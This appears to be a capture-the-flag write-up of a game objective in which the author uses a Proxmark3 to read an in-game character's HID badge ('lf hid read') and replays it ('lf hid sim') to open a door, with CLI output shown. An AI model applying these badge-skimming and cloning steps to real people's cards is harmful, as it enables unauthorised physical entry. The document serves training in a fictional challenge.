Objective 5: Open HID Lock
With the proxmark in hand, I wander around looking for a HID card to copy. To use it, I'm met with the Proxmark CLI that looks like this:
██████╗ ███╗ ███╗█████╗
██╔══██╗████╗ ████║╚═══██╗
██████╔╝██╔████╔██║ ████╔╝
██╔═══╝ ██║╚██╔╝██║ ╚══██╗
██║ ██║ ╚═╝ ██║█████╔╝ Iceman ☕
╚═╝ ╚═╝ ╚═╝╚════╝ ❄️ bleeding edge
https://github.com/rfidresearchgroup/proxmark3/
[=] Session log /home/elf/.proxmark3/logs/log_20201223.txt
[=] Creating initial preferences file
[=] Saving preferences...
[+] saved to json file /home/elf/.proxmark3/preferences.json
[ Proxmark3 RFID instrument ]
[ CLIENT ]
client: RRG/Iceman/master/v4.9237-2066-g3de856045 2020-11-25 16:29:31
compiled with GCC 7.5.0 OS:Linux ARCH:x86_64
[ PROXMARK3 ]
firmware.................. PM3RDV4
external flash............ present
smartcard reader.......... present
FPC USART for BT add-on... absent
[ ARM ]
LF image built for 2s30vq100 on 2020-07-08 at 23: 8: 7
HF image built for 2s30vq100 on 2020-07-08 at 23: 8:19
HF FeliCa image built for 2s30vq100 on 2020-07-08 at 23: 8:30
[ Hardware ]
--= uC: AT91SAM7S512 Rev B
--= Embedded Processor: ARM7TDMI
--= Nonvolatile Program Memory Size: 512K bytes, Used: 304719 bytes (58%) Free: 219569 bytes (42%)
--= Second Nonvolatile Program Memory Size: None
--= Internal SRAM Size: 64K bytes
--= Architecture Identifier: AT91SAM7Sxx Series
--= Nonvolatile Program Memory Type: Embedded Flash Memory
[magicdust] pm3 -->
Now, if I wanted to read a HID card that was nearby, I could run lf hid read
near an unsuspecting user with a readable card on their person (or...elf?). Wandering around the castle, I eventually come across a hit from Shinny Upatree!
[magicdust] pm3 --> lf hid read
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
I have a tag. With this tag ID, I can replay this attack to get into the workshop:
[magicdust] pm3 --> lf hid sim -r 2006e22f13
[=] Simulating HID tag using raw 2006e22f13
[=] Stopping simulation after 10 seconds.
[=] Done
[magicdust] pm3 -->
And I'm in!
Accessing this door brings me to a darkened mysterious room. I am a bit hesitant to enter yet, and make a mental note of this room to come back to later. There are mysteries to solve!